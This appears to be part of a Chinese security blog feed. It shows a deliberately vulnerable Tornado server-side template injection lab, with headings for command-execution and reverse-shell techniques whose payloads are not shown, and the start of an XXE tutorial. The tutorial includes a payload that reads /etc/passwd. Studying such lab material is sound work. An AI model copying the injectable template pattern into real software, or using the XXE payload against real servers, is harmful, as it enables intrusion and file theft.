style=\"color:#59873A;--shiki-dark:#80A665\">tornado</span><span style=\"color:#999999;--shiki-dark:#666666\">.</span><span style=\"color:#59873A;--shiki-dark:#80A665\">web</span><span style=\"color:#999999;--shiki-dark:#666666\">.</span><span style=\"color:#59873A;--shiki-dark:#80A665\">RequestHandler</span><span style=\"color:#2993a3;--shiki-dark:#5eaab5\">)</span><span style=\"color:#999999;--shiki-dark:#666666\">:</span></span>\n<span class=\"line\"><span style=\"color:#AB5959;--shiki-dark:#CB7676\">    def</span><span style=\"color:#59873A;--shiki-dark:#80A665\"> get</span><span style=\"color:#2993a3;--shiki-dark:#5eaab5\">(</span><span style=\"color:#393A34;--shiki-dark:#DBD7CAEE\">self</span><span style=\"color:#2993a3;--shiki-dark:#5eaab5\">)</span><span style=\"color:#999999;--shiki-dark:#666666\">:</span></span>\n<span class=\"line\"><span style=\"color:#A0ADA0;--shiki-dark:#758575DD\">        # 接收用户输入</span></span>\n<span class=\"line\"><span style=\"color:#393A34;--shiki-dark:#DBD7CAEE\">        name </span><span style=\"color:#999999;--shiki-dark:#666666\">=</span><span style=\"color:#A65E2B;--shiki-dark:#C99076\"> self</span><span style=\"color:#999999;--shiki-dark:#666666\">.</span><span style=\"color:#393A34;--shiki-dark:#DBD7CAEE\">get_argument</span><span style=\"color:#2993a3;--shiki-dark:#5eaab5\">(</span><span style=\"color:#B5695977;--shiki-dark:#C98A7D77\">\"</span><span style=\"color:#B56959;--shiki-dark:#C98A7D\">name</span><span style=\"color:#B5695977;--shiki-dark:#C98A7D77\">\"</span><span style=\"color:#999999;--shiki-dark:#666666\">,</span><span style=\"color:#B5695977;--shiki-dark:#C98A7D77\"> \"</span><span style=\"color:#B56959;--shiki-dark:#C98A7D\">Hacker</span><span style=\"color:#B5695977;--shiki-dark:#C98A7D77\">\"</span><span style=\"color:#2993a3;--shiki-dark:#5eaab5\">)</span></span>\n<span class=\"line\"><span style=\"color:#393A34;--shiki-dark:#DBD7CAEE\">        </span></span>\n<span class=\"line\"><span style=\"color:#A0ADA0;--shiki-dark:#758575DD\">        # 🚨 漏洞点：直接将输入拼接成模板字符串</span></span>\n<span class=\"line\"><span style=\"color:#393A34;--shiki-dark:#DBD7CAEE\">        template_string </span><span style=\"color:#999999;--shiki-dark:#666666\">=</span><span style=\"color:#AB5959;--shiki-dark:#CB7676\"> f</span><span style=\"color:#B56959;--shiki-dark:#C98A7D\">\"\"\"</span></span>\n<span class=\"line\"><span style=\"color:#B56959;--shiki-dark:#C98A7D\">        &#x3C;html></span></span>\n<span class=\"line\"><span style=\"color:#B56959;--shiki-dark:#C98A7D\">            &#x3C;body></span></span>\n<span class=\"line\"><span style=\"color:#B56959;--shiki-dark:#C98A7D\">                &#x3C;h2>Welcome to Tornado SSTI Lab&#x3C;/h2></span></span>\n<span class=\"line\"><span style=\"color:#B56959;--shiki-dark:#C98A7D\">                &#x3C;p>Hello, </span><span style=\"color:#2993a3;--shiki-dark:#5eaab5\">&#123;</span><span style=\"color:#393A34;--shiki-dark:#DBD7CAEE\">name</span><span style=\"color:#2993a3;--shiki-dark:#5eaab5\">&#125;</span><span style=\"color:#B56959;--shiki-dark:#C98A7D\">!&#x3C;/p></span></span>\n<span class=\"line\"><span style=\"color:#B56959;--shiki-dark:#C98A7D\">                &#x3C;p>Try to find the secret or execute a command.&#x3C;/p></span></span>\n<span class=\"line\"><span style=\"color:#B56959;--shiki-dark:#C98A7D\">            &#x3C;/body></span></span>\n<span class=\"line\"><span style=\"color:#B56959;--shiki-dark:#C98A7D\">        &#x3C;/html></span></span>\n<span class=\"line\"><span style=\"color:#B56959;--shiki-dark:#C98A7D\">        \"\"\"</span></span>\n<span class=\"line\"><span style=\"color:#393A34;--shiki-dark:#DBD7CAEE\">        </span></span>\n<span class=\"line\"><span style=\"color:#1E754F;--shiki-dark:#4D9375\">        try</span><span style=\"color:#999999;--shiki-dark:#666666\">:</span></span>\n<span class=\"line\"><span style=\"color:#A0ADA0;--shiki-dark:#758575DD\">            # 编译并渲染模板</span></span>\n<span class=\"line\"><span style=\"color:#393A34;--shiki-dark:#DBD7CAEE\">            t </span><span style=\"color:#999999;--shiki-dark:#666666\">=</span><span style=\"color:#393A34;--shiki-dark:#DBD7CAEE\"> Template</span><span style=\"color:#2993a3;--shiki-dark:#5eaab5\">(</span><span style=\"color:#393A34;--shiki-dark:#DBD7CAEE\">template_string</span><span style=\"color:#2993a3;--shiki-dark:#5eaab5\">)</span></span>\n<span class=\"line\"><span style=\"color:#A0ADA0;--shiki-dark:#758575DD\">            # 在 Tornado 中渲染并写入响应</span></span>\n<span class=\"line\"><span style=\"color:#A65E2B;--shiki-dark:#C99076\">            self</span><span style=\"color:#999999;--shiki-dark:#666666\">.</span><span style=\"color:#393A34;--shiki-dark:#DBD7CAEE\">write</span><span style=\"color:#2993a3;--shiki-dark:#5eaab5\">(</span><span style=\"color:#393A34;--shiki-dark:#DBD7CAEE\">t</span><span style=\"color:#999999;--shiki-dark:#666666\">.</span><span style=\"color:#393A34;--shiki-dark:#DBD7CAEE\">generate</span><span style=\"color:#1e754f;--shiki-dark:#4d9375\">(</span><span style=\"color:#B07D48;--shiki-dark:#BD976A\">handler</span><span style=\"color:#999999;--shiki-dark:#666666\">=</span><span style=\"color:#A65E2B;--shiki-dark:#C99076\">self</span><span style=\"color:#1e754f;--shiki-dark:#4d9375\">)</span><span style=\"color:#2993a3;--shiki-dark:#5eaab5\">)</span></span>\n<span class=\"line\"><span style=\"color:#1E754F;--shiki-dark:#4D9375\">        except</span><span style=\"color:#998418;--shiki-dark:#B8A965\"> Exception</span><span style=\"color:#1E754F;--shiki-dark:#4D9375\"> as</span><span style=\"color:#393A34;--shiki-dark:#DBD7CAEE\"> e</span><span style=\"color:#999999;--shiki-dark:#666666\">:</span></span>\n<span class=\"line\"><span style=\"color:#A65E2B;--shiki-dark:#C99076\">            self</span><span style=\"color:#999999;--shiki-dark:#666666\">.</span><span style=\"color:#393A34;--shiki-dark:#DBD7CAEE\">write</span><span style=\"color:#2993a3;--shiki-dark:#5eaab5\">(</span><span style=\"color:#AB5959;--shiki-dark:#CB7676\">f</span><span style=\"color:#B56959;--shiki-dark:#C98A7D\">\"Error: </span><span style=\"color:#1e754f;--shiki-dark:#4d9375\">&#123;</span><span style=\"color:#998418;--shiki-dark:#B8A965\">str</span><span style=\"color:#a65e2b;--shiki-dark:#d4976c\">(</span><span style=\"color:#393A34;--shiki-dark:#DBD7CAEE\">e</span><span style=\"color:#a65e2b;--shiki-dark:#d4976c\">)</span><span style=\"color:#1e754f;--shiki-dark:#4d9375\">&#125;</span><span style=\"color:#B56959;--shiki-dark:#C98A7D\">\"</span><span style=\"color:#2993a3;--shiki-dark:#5eaab5\">)</span></span>\n<span class=\"line\"></span>\n<span class=\"line\"><span style=\"color:#A0ADA0;--shiki-dark:#758575DD\"># 设置应用的配置（模拟真实环境中的密钥）</span></span>\n<span class=\"line\"><span style=\"color:#393A34;--shiki-dark:#DBD7CAEE\">app_settings </span><span style=\"color:#999999;--shiki-dark:#666666\">=</span><span style=\"color:#999999;--shiki-dark:#666666\"> </span><span style=\"color:#2993a3;--shiki-dark:#5eaab5\">&#123;</span></span>\n<span class=\"line\"><span style=\"color:#B5695977;--shiki-dark:#C98A7D77\">    \"</span><span style=\"color:#B56959;--shiki-dark:#C98A7D\">cookie_secret</span><span style=\"color:#B5695977;--shiki-dark:#C98A7D77\">\"</span><span style=\"color:#999999;--shiki-dark:#666666\">:</span><span style=\"color:#B5695977;--shiki-dark:#C98A7D77\"> \"</span><span style=\"color:#B56959;--shiki-dark:#C98A7D\">ZLARYY&#123;Y0U_aR3_r3a1Iy_TorrrnaD0_m@st3r&#125;</span><span style=\"color:#B5695977;--shiki-dark:#C98A7D77\">\"</span><span style=\"color:#999999;--shiki-dark:#666666\">,</span></span>\n<span class=\"line\"><span style=\"color:#B5695977;--shiki-dark:#C98A7D77\">    \"</span><span style=\"color:#B56959;--shiki-dark:#C98A7D\">debug</span><span style=\"color:#B5695977;--shiki-dark:#C98A7D77\">\"</span><span style=\"color:#999999;--shiki-dark:#666666\">:</span><span style=\"color:#1E754F;--shiki-dark:#4D9375\"> True</span></span>\n<span class=\"line\"><span style=\"color:#2993a3;--shiki-dark:#5eaab5\">&#125;</span></span>\n<span class=\"line\"></span>\n<span class=\"line\"><span style=\"color:#AB5959;--shiki-dark:#CB7676\">def</span><span style=\"color:#59873A;--shiki-dark:#80A665\"> make_app</span><span style=\"color:#2993a3;--shiki-dark:#5eaab5\">(</span><span style=\"color:#2993a3;--shiki-dark:#5eaab5\">)</span><span style=\"color:#999999;--shiki-dark:#666666\">:</span></span>\n<span class=\"line\"><span style=\"color:#1E754F;--shiki-dark:#4D9375\">    return</span><span style=\"color:#393A34;--shiki-dark:#DBD7CAEE\"> tornado</span><span style=\"color:#999999;--shiki-dark:#666666\">.</span><span style=\"color:#393A34;--shiki-dark:#DBD7CAEE\">web</span><span style=\"color:#999999;--shiki-dark:#666666\">.</span><span style=\"color:#393A34;--shiki-dark:#DBD7CAEE\">Application</span><span style=\"color:#2993a3;--shiki-dark:#5eaab5\">(</span><span style=\"color:#1e754f;--shiki-dark:#4d9375\">[</span></span>\n<span class=\"line\"><span style=\"color:#999999;--shiki-dark:#666666\">        </span><span style=\"color:#a65e2b;--shiki-dark:#d4976c\">(</span><span style=\"color:#AB5959;--shiki-dark:#CB7676\">r</span><span style=\"color:#B5695977;--shiki-dark:#C98A7D77\">\"</span><span style=\"color:#AB5E3F;--shiki-dark:#C4704F\">/</span><span style=\"color:#B5695977;--shiki-dark:#C98A7D77\">\"</span><span style=\"color:#999999;--shiki-dark:#666666\">,</span><span style=\"color:#393A34;--shiki-dark:#DBD7CAEE\"> MainHandler</span><span style=\"color:#a65e2b;--shiki-dark:#d4976c\">)</span><span style=\"color:#999999;--shiki-dark:#666666\">,</span></span>\n<span class=\"line\"><span style=\"color:#999999;--shiki-dark:#666666\">    </span><span style=\"color:#1e754f;--shiki-dark:#4d9375\">]</span><span style=\"color:#999999;--shiki-dark:#666666\">,</span><span style=\"color:#AB5959;--shiki-dark:#CB7676\"> **</span><span style=\"color:#393A34;--shiki-dark:#DBD7CAEE\">app_settings</span><span style=\"color:#2993a3;--shiki-dark:#5eaab5\">)</span></span>\n<span class=\"line\"></span>\n<span class=\"line\"><span style=\"color:#1E754F;--shiki-dark:#4D9375\">if</span><span style=\"color:#998418;--shiki-dark:#B8A965\"> __name__</span><span style=\"color:#AB5959;--shiki-dark:#CB7676\"> ==</span><span style=\"color:#B5695977;--shiki-dark:#C98A7D77\"> \"</span><span style=\"color:#B56959;--shiki-dark:#C98A7D\">__main__</span><span style=\"color:#B5695977;--shiki-dark:#C98A7D77\">\"</span><span style=\"color:#999999;--shiki-dark:#666666\">:</span></span>\n<span class=\"line\"><span style=\"color:#393A34;--shiki-dark:#DBD7CAEE\">    app </span><span style=\"color:#999999;--shiki-dark:#666666\">=</span><span style=\"color:#393A34;--shiki-dark:#DBD7CAEE\"> make_app</span><span style=\"color:#2993a3;--shiki-dark:#5eaab5\">(</span><span style=\"color:#2993a3;--shiki-dark:#5eaab5\">)</span></span>\n<span class=\"line\"><span style=\"color:#A0ADA0;--shiki-dark:#758575DD\">    # 绑定 8888 端口</span></span>\n<span class=\"line\"><span style=\"color:#393A34;--shiki-dark:#DBD7CAEE\">    app</span><span style=\"color:#999999;--shiki-dark:#666666\">.</span><span style=\"color:#393A34;--shiki-dark:#DBD7CAEE\">listen</span><span style=\"color:#2993a3;--shiki-dark:#5eaab5\">(</span><span style=\"color:#2F798A;--shiki-dark:#4C9A91\">8888</span><span style=\"color:#999999;--shiki-dark:#666666\">,</span><span style=\"color:#B07D48;--shiki-dark:#BD976A\"> address</span><span style=\"color:#999999;--shiki-dark:#666666\">=</span><span style=\"color:#B5695977;--shiki-dark:#C98A7D77\">\"</span><span style=\"color:#B56959;--shiki-dark:#C98A7D\">0.0.0.0</span><span style=\"color:#B5695977;--shiki-dark:#C98A7D77\">\"</span><span style=\"color:#2993a3;--shiki-dark:#5eaab5\">)</span></span>\n<span class=\"line\"><span style=\"color:#998418;--shiki-dark:#B8A965\">    print</span><span style=\"color:#2993a3;--shiki-dark:#5eaab5\">(</span><span style=\"color:#B5695977;--shiki-dark:#C98A7D77\">\"</span><span style=\"color:#B56959;--shiki-dark:#C98A7D\">Tornado Lab is running on http://127.0.0.1:8888</span><span style=\"color:#B5695977;--shiki-dark:#C98A7D77\">\"</span><span style=\"color:#2993a3;--shiki-dark:#5eaab5\">)</span></span>\n<span class=\"line\"><span style=\"color:#393A34;--shiki-dark:#DBD7CAEE\">    tornado</span><span style=\"color:#999999;--shiki-dark:#666666\">.</span><span style=\"color:#393A34;--shiki-dark:#DBD7CAEE\">ioloop</span><span style=\"color:#999999;--shiki-dark:#666666\">.</span><span style=\"color:#393A34;--shiki-dark:#DBD7CAEE\">IOLoop</span><span style=\"color:#999999;--shiki-dark:#666666\">.</span><span style=\"color:#393A34;--shiki-dark:#DBD7CAEE\">current</span><span style=\"color:#2993a3;--shiki-dark:#5eaab5\">(</span><span style=\"color:#2993a3;--shiki-dark:#5eaab5\">)</span><span style=\"color:#999999;--shiki-dark:#666666\">.</span><span style=\"color:#393A34;--shiki-dark:#DBD7CAEE\">start</span><span style=\"color:#2993a3;--shiki-dark:#5eaab5\">(</span><span style=\"color:#2993a3;--shiki-dark:#5eaab5\">)</span></span></code></pre>\n<pre class=\"shiki shiki-themes vitesse-light vitesse-dark\" style=\"background-color:#ffffff;--shiki-dark-bg:#121212;color:#393a34;--shiki-dark:#dbd7caee\" tabindex=\"0\"><code class=\"language-text\"><span class=\"line\"><span>python3 tor.py</span></span></code></pre>\n<h2 id=\"基本探测\"><a class=\"anchor\" href=\"#基本探测\">#</a> 基本探测</h2>\n<pre class=\"shiki shiki-themes vitesse-light vitesse-dark\" style=\"background-color:#ffffff;--shiki-dark-bg:#121212;color:#393a34;--shiki-dark:#dbd7caee\" tabindex=\"0\"><code class=\"language-text\"><span class=\"line\"><span>&#x3C;!--swig￼71--></span></span></code></pre>\n<p><img loading=\"lazy\" src=\"/2026/04/11/SSTI%E6%A8%A1%E6%9D%BF%E6%B3%A8%E5%85%A5/48.png\" class=\"\"></p>\n<h2 id=\"窃取全局配置字典\"><a class=\"anchor\" href=\"#窃取全局配置字典\">#</a> 窃取全局配置字典</h2>\n<pre class=\"shiki shiki-themes vitesse-light vitesse-dark\" style=\"background-color:#ffffff;--shiki-dark-bg:#121212;color:#393a34;--shiki-dark:#dbd7caee\" tabindex=\"0\"><code class=\"language-text\"><span class=\"line\"><span>&#x3C;!--swig￼73--></span></span></code></pre>\n<p><img loading=\"lazy\" src=\"/2026/04/11/SSTI%E6%A8%A1%E6%9D%BF%E6%B3%A8%E5%85%A5/49.png\" class=\"\"></p>\n<p>只显示secret：</p>\n<pre class=\"shiki shiki-themes vitesse-light vitesse-dark\" style=\"background-color:#ffffff;--shiki-dark-bg:#121212;color:#393a34;--shiki-dark:#dbd7caee\" tabindex=\"0\"><code class=\"language-text\"><span class=\"line\"><span>&#x3C;!--swig￼75--></span></span></code></pre>\n<p><img loading=\"lazy\" src=\"/2026/04/11/SSTI%E6%A8%A1%E6%9D%BF%E6%B3%A8%E5%85%A5/50.png\" class=\"\"></p>\n<h2 id=\"查看所有传入的http头-cookie-参数\"><a class=\"anchor\" href=\"#查看所有传入的http头-cookie-参数\">#</a> 查看所有传入的HTTP头、Cookie、参数</h2>\n<pre class=\"shiki shiki-themes vitesse-light vitesse-dark\" style=\"background-color:#ffffff;--shiki-dark-bg:#121212;color:#393a34;--shiki-dark:#dbd7caee\" tabindex=\"0\"><code class=\"language-text\"><span class=\"line\"><span>&#x3C;!--swig￼77--></span></span></code></pre>\n<p><img loading=\"lazy\" src=\"/2026/04/11/SSTI%E6%A8%A1%E6%9D%BF%E6%B3%A8%E5%85%A5/51.png\" class=\"\"></p>\n<pre class=\"shiki shiki-themes vitesse-light vitesse-dark\" style=\"background-color:#ffffff;--shiki-dark-bg:#121212;color:#393a34;--shiki-dark:#dbd7caee\" tabindex=\"0\"><code class=\"language-text\"><span class=\"line\"><span>&#x3C;!--swig￼79--></span></span></code></pre>\n<p><img loading=\"lazy\" src=\"/2026/04/11/SSTI%E6%A8%A1%E6%9D%BF%E6%B3%A8%E5%85%A5/52.png\" class=\"\"></p>\n<h2 id=\"利用-swig81-导入模块-swig82-执行\"><a class=\"anchor\" href=\"#利用-swig81-导入模块-swig82-执行\">#</a> 利用{%%}导入模块，{{}}执行</h2>\n<h3 id=\"os\"><a class=\"anchor\" href=\"#os\">#</a> os</h3>\n<pre class=\"shiki shiki-themes vitesse-light vitesse-dark\" style=\"background-color:#ffffff;--shiki-dark-bg:#121212;color:#393a34;--shiki-dark:#dbd7caee\" tabindex=\"0\"><code class=\"language-text\"><span class=\"line\"><span>&#x3C;!--swig￼83--></span></span></code></pre>\n<p><img loading=\"lazy\" src=\"/2026/04/11/SSTI%E6%A8%A1%E6%9D%BF%E6%B3%A8%E5%85%A5/53.png\" class=\"\"></p>\n<p>那这里就很像沙箱逃逸了啊，用<code>&#123;%%&#125;</code>导入模块，<code>&#123;&#123;&#125;&#125;</code>执行</p>\n<h3 id=\"ctypes\"><a class=\"anchor\" href=\"#ctypes\">#</a> ctypes</h3>\n<pre class=\"shiki shiki-themes vitesse-light vitesse-dark\" style=\"background-color:#ffffff;--shiki-dark-bg:#121212;color:#393a34;--shiki-dark:#dbd7caee\" tabindex=\"0\"><code class=\"language-text\"><span class=\"line\"><span>&#x3C;!--swig￼87--></span></span></code></pre>\n<p>之前Mako也是本来打算测试这个ctypes但是由于没有回显，这里突然想到可以反弹shell</p>\n<p><img loading=\"lazy\" src=\"/2026/04/11/SSTI%E6%A8%A1%E6%9D%BF%E6%B3%A8%E5%85%A5/54.png\" class=\"\"></p>\n<h3 id=\"subprocess\"><a class=\"anchor\" href=\"#subprocess\">#</a> subprocess</h3>\n<pre class=\"shiki shiki-themes vitesse-light vitesse-dark\" style=\"background-color:#ffffff;--shiki-dark-bg:#121212;color:#393a34;--shiki-dark:#dbd7caee\" tabindex=\"0\"><code class=\"language-text\"><span class=\"line\"><span>&#x3C;!--swig￼89--></span></span></code></pre>\n<p>反弹shell这招还真是全能</p>\n<p><img loading=\"lazy\" src=\"/2026/04/11/SSTI%E6%A8%A1%E6%9D%BF%E6%B3%A8%E5%85%A5/55.png\" class=\"\"></p>\n<h3 id=\"pty\"><a class=\"anchor\" href=\"#pty\">#</a> pty</h3>\n<pre class=\"shiki shiki-themes vitesse-light vitesse-dark\" style=\"background-color:#ffffff;--shiki-dark-bg:#121212;color:#393a34;--shiki-dark:#dbd7caee\" tabindex=\"0\"><code class=\"language-text\"><span class=\"line\"><span>&#x3C;!--swig￼91--></span></span></code></pre>\n<p><img loading=\"lazy\" src=\"/2026/04/11/SSTI%E6%A8%A1%E6%9D%BF%E6%B3%A8%E5%85%A5/56.png\" class=\"\"></p>\n<h3 id=\"timeit\"><a class=\"anchor\" href=\"#timeit\">#</a> timeit</h3>\n<pre class=\"shiki shiki-themes vitesse-light vitesse-dark\" style=\"background-color:#ffffff;--shiki-dark-bg:#121212;color:#393a34;--shiki-dark:#dbd7caee\" tabindex=\"0\"><code class=\"language-text\"><span class=\"line\"><span>&#x3C;!--swig￼93--></span></span></code></pre>\n<p>除了反弹shell还可以有写入文件的思路</p>\n<pre class=\"shiki shiki-themes vitesse-light vitesse-dark\" style=\"background-color:#ffffff;--shiki-dark-bg:#121212;color:#393a34;--shiki-dark:#dbd7caee\" tabindex=\"0\"><code class=\"language-text\"><span class=\"line\"><span>&#x3C;!--swig￼94--></span></span></code></pre>\n<p><img loading=\"lazy\" src=\"/2026/04/11/SSTI%E6%A8%A1%E6%9D%BF%E6%B3%A8%E5%85%A5/57.png\" class=\"\"></p>\n<p><img loading=\"lazy\" src=\"/2026/04/11/SSTI%E6%A8%A1%E6%9D%BF%E6%B3%A8%E5%85%A5/58.png\" class=\"\"></p>\n<h3 id=\"importlib\"><a class=\"anchor\" href=\"#importlib\">#</a> importlib</h3>\n<pre class=\"shiki shiki-themes vitesse-light vitesse-dark\" style=\"background-color:#ffffff;--shiki-dark-bg:#121212;color:#393a34;--shiki-dark:#dbd7caee\" tabindex=\"0\"><code class=\"language-text\"><span class=\"line\"><span>&#x3C;!--swig￼97--></span></span></code></pre>\n<p>有反弹shell的思路都可以参照timeit中写文件的思路试试</p>\n<p><img loading=\"lazy\" src=\"/2026/04/11/SSTI%E6%A8%A1%E6%9D%BF%E6%B3%A8%E5%85%A5/59.png\" class=\"\"></p>\n<p><img loading=\"lazy\" src=\"/2026/04/11/SSTI%E6%A8%A1%E6%9D%BF%E6%B3%A8%E5%85%A5/60.png\" class=\"\"></p>\n<h3 id=\"codecs\"><a class=\"anchor\" href=\"#codecs\">#</a> codecs</h3>\n<pre class=\"shiki shiki-themes vitesse-light vitesse-dark\" style=\"background-color:#ffffff;--shiki-dark-bg:#121212;color:#393a34;--shiki-dark:#dbd7caee\" tabindex=\"0\"><code class=\"language-text\"><span class=\"line\"><span>&#x3C;!--swig￼100--></span></span></code></pre>\n<p><img loading=\"lazy\" src=\"/2026/04/11/SSTI%E6%A8%A1%E6%9D%BF%E6%B3%A8%E5%85%A5/62.png\" class=\"\"></p>\n<h2 id=\"open读取文件-2\"><a class=\"anchor\" href=\"#open读取文件-2\">#</a> open读取文件</h2>\n<pre class=\"shiki shiki-themes vitesse-light vitesse-dark\" style=\"background-color:#ffffff;--shiki-dark-bg:#121212;color:#393a34;--shiki-dark:#dbd7caee\" tabindex=\"0\"><code class=\"language-text\"><span class=\"line\"><span>&#x3C;!--swig￼102--></span></span>\n<span class=\"line\"><span>&#x3C;!--swig￼103--></span></span></code></pre>\n<p><img loading=\"lazy\" src=\"/2026/04/11/SSTI%E6%A8%A1%E6%9D%BF%E6%B3%A8%E5%85%A5/61.png\" class=\"\"></p>\n<h2 id=\"getline\"><a class=\"anchor\" href=\"#getline\">#</a> getline</h2>\n<pre class=\"shiki shiki-themes vitesse-light vitesse-dark\" style=\"background-color:#ffffff;--shiki-dark-bg:#121212;color:#393a34;--shiki-dark:#dbd7caee\" tabindex=\"0\"><code class=\"language-text\"><span class=\"line\"><span>&#x3C;!--swig￼105--></span></span></code></pre>\n<p><img loading=\"lazy\" src=\"/2026/04/11/SSTI%E6%A8%A1%E6%9D%BF%E6%B3%A8%E5%85%A5/63.png\" class=\"\"></p>\n<h2 id=\"getlines\"><a class=\"anchor\" href=\"#getlines\">#</a> getlines</h2>\n<pre class=\"shiki shiki-themes vitesse-light vitesse-dark\" style=\"background-color:#ffffff;--shiki-dark-bg:#121212;color:#393a34;--shiki-dark:#dbd7caee\" tabindex=\"0\"><code class=\"language-text\"><span class=\"line\"><span>&#x3C;!--swig￼107--></span></span></code></pre>\n<p><img loading=\"lazy\" src=\"/2026/04/11/SSTI%E6%A8%A1%E6%9D%BF%E6%B3%A8%E5%85%A5/64.png\" class=\"\"></p>\n<h2 id=\"获取环境信息\"><a class=\"anchor\" href=\"#获取环境信息\">#</a> 获取环境信息</h2>\n<h3 id=\"env\"><a class=\"anchor\" href=\"#env\">#</a> env</h3>\n<pre class=\"shiki shiki-themes vitesse-light vitesse-dark\" style=\"background-color:#ffffff;--shiki-dark-bg:#121212;color:#393a34;--shiki-dark:#dbd7caee\" tabindex=\"0\"><code class=\"language-text\"><span class=\"line\"><span>&#x3C;!--swig￼109--></span></span></code></pre>\n<p><img loading=\"lazy\" src=\"/2026/04/11/SSTI%E6%A8%A1%E6%9D%BF%E6%B3%A8%E5%85%A5/65.png\" class=\"\"></p>\n<h3 id=\"environ\"><a class=\"anchor\" href=\"#environ\">#</a> environ</h3>\n<pre class=\"shiki shiki-themes vitesse-light vitesse-dark\" style=\"background-color:#ffffff;--shiki-dark-bg:#121212;color:#393a34;--shiki-dark:#dbd7caee\" tabindex=\"0\"><code class=\"language-text\"><span class=\"line\"><span>&#x3C;!--swig￼111--></span></span></code></pre>\n<p><img loading=\"lazy\" src=\"/2026/04/11/SSTI%E6%A8%A1%E6%9D%BF%E6%B3%A8%E5%85%A5/66.png\" class=\"\"></p>\n",
            "tags": []
        },
        {
            "id": "https://zlaryy.top/2026/04/07/XXE/",
            "url": "https://zlaryy.top/2026/04/07/XXE/",
            "title": "XXE",
            "date_published": "2026-04-07T13:45:00.000Z",
            "content_html": "<h1 id=\"xxe\"><a class=\"anchor\" href=\"#xxe\">#</a> XXE</h1>\n<p>XXE，也叫做XML外部实体注入，它通常允许攻击者查看应用程序服务器文件系统上的文件，并与应用程序本身可以访问的任何后端或外部系统进行交互。</p>\n<p>在某些情况下，攻击者可以利用 XXE 漏洞联合执行服务器端请求伪造(SSRF) 攻击，从而提高 XXE 攻击等级以破坏底层服务器或其他后端基础设施。</p>\n<h2 id=\"payload结构\"><a class=\"anchor\" href=\"#payload结构\">#</a> payload结构</h2>\n<p>利用XXE读取文件的一种payload格式如下：</p>\n<pre class=\"shiki shiki-themes vitesse-light vitesse-dark\" style=\"background-color:#ffffff;--shiki-dark-bg:#121212;color:#393a34;--shiki-dark:#dbd7caee\" tabindex=\"0\"><code class=\"language-xml\"><span class=\"line\"><span style=\"color:#999999;--shiki-dark:#666666\">&#x3C;</span><span style=\"color:#999999;--shiki-dark:#666666\">?</span><span style=\"color:#1E754F;--shiki-dark:#4D9375\">xml</span><span style=\"color:#B07D48;--shiki-dark:#BD976A\"> version</span><span style=\"color:#393A34;--shiki-dark:#DBD7CAEE\">=</span><span style=\"color:#B5695977;--shiki-dark:#C98A7D77\">\"</span><span style=\"color:#B56959;--shiki-dark:#C98A7D\">1.0</span><span style=\"color:#B5695977;--shiki-dark:#C98A7D77\">\"</span><span style=\"color:#B07D48;--shiki-dark:#BD976A\"> encoding</span><span style=\"color:#393A34;--shiki-dark:#DBD7CAEE\">=</span><span style=\"color:#B5695977;--shiki-dark:#C98A7D77\">\"</span><span style=\"color:#B56959;--shiki-dark:#C98A7D\">utf-8</span><span style=\"color:#B5695977;--shiki-dark:#C98A7D77\">\"</span><span style=\"color:#999999;--shiki-dark:#666666\">?</span><span style=\"color:#999999;--shiki-dark:#666666\">></span></span>\n<span class=\"line\"><span style=\"color:#999999;--shiki-dark:#666666\">&#x3C;</span><span style=\"color:#999999;--shiki-dark:#666666\">!</span><span style=\"color:#1E754F;--shiki-dark:#4D9375\">DOCTYPE</span><span style=\"color:#A65E2B;--shiki-dark:#C99076\"> root</span><span style=\"color:#999999;--shiki-dark:#666666\"> </span><span style=\"color:#2993a3;--shiki-dark:#5eaab5\">[</span></span>\n<span class=\"line\"><span style=\"color:#999999;--shiki-dark:#666666\">  </span><span style=\"color:#999999;--shiki-dark:#666666\">&#x3C;</span><span style=\"color:#999999;--shiki-dark:#666666\">!</span><span style=\"color:#1E754F;--shiki-dark:#4D9375\">ENTITY</span><span style=\"color:#A65E2B;--shiki-dark:#C99076\"> xxe</span><span style=\"color:#1E754F;--shiki-dark:#4D9375\"> SYSTEM </span><span style=\"color:#B5695977;--shiki-dark:#C98A7D77\">\"</span><span style=\"color:#B56959;--shiki-dark:#C98A7D\">file:///etc/passwd</span><span style=\"color:#B5695977;--shiki-dark:#C98A7D77\">\"</span><span style=\"color:#999999;--shiki-dark:#666666\">></span></span>\n<span class=\"line\"><span style=\"color:#2993a3;--shiki-dark:#5eaab5\">]</span><span style=\"color:#999999;--shiki-dark:#666666\">></span></span>\n<span class=\"line\"><span style=\"color:#999999;--shiki-dark:#666666\">&#x3C;</span><span style=\"color:#1E754F;--shiki-dark:#4D9375\">root</span><span style=\"color:#999999;--shiki-dark:#666666\">></span></span>\n<span class=\"line\"><span style=\"color:#999999;--shiki-dark:#666666\">  </span><span style=\"color:#999999;--shiki-dark:#666666\">&#x3C;</span><span style=\"color:#1E754F;--shiki-dark:#4D9375\">username</span><span style=\"color:#999999;--shiki-dark:#666666\">></span><span style=\"color:#999999;--shiki-dark:#666666\">&#x26;</span><span style=\"color:#A65E2B;--shiki-dark:#C99076\">xxe</span><span style=\"color:#999999;--shiki-dark:#666666\">;</span><span style=\"color:#999999;--shiki-dark:#666666\">&#x3C;</span><span style=\"color:#999999;--shiki-dark:#666666\">/</span><span style=\"color:#1E754F;--shiki-dark:#4D9375\">username</span><span style=\"color:#999999;--shiki-dark:#666666\">></span></span>\n<span class=\"line\"><span style=\"color:#999999;--shiki-dark:#666666\">&#x3C;</span><span style=\"color:#999999;--shiki-dark:#666666\">/</span><span style=\"color:#1E754F;--shiki-dark:#4D9375\">root</span><span style=\"color:#999999;--shiki-dark:#666666\">></span></span></code></pre>\n<p>其中</p>\n<pre class=\"shiki shiki-themes vitesse-light vitesse-dark\" style=\"background-color:#ffffff;--shiki-dark-bg:#121212;color:#393a34;--shiki-dark:#dbd7caee\" tabindex=\"0\"><code class=\"language-xml\"><span class=\"line\"><span style=\"color:#999999;--shiki-dark:#666666\">&#x3C;</span><span style=\"color:#999999;--shiki-dark:#666666\">!</span><span style=\"color:#1E754F;--shiki-dark:#4D9375\">DOCTYPE</span><span style=\"color:#A65E2B;--shiki-dark:#C99076\"> root</span><span style=\"color:#999999;--shiki-dark:#666666\"> </span><span style=\"color:#2993a3;--shiki-dark:#5eaab5\">[</span><span style=\"color:#393A34;--shiki-dark:#DBD7CAEE\"> ... </span><span style=\"color:#2993a3;--shiki-dark:#5eaab5\">]</span><span style=\"color:#999999;--shiki-dark:#666666\">></span></span></code></pre>\n<p>原本用来定义文档合法结构，这里用来在<code>[]</code>中声明恶意的自定义实体</p>\n<pre class=\"shiki shiki-themes vitesse-light vitesse-dark\" 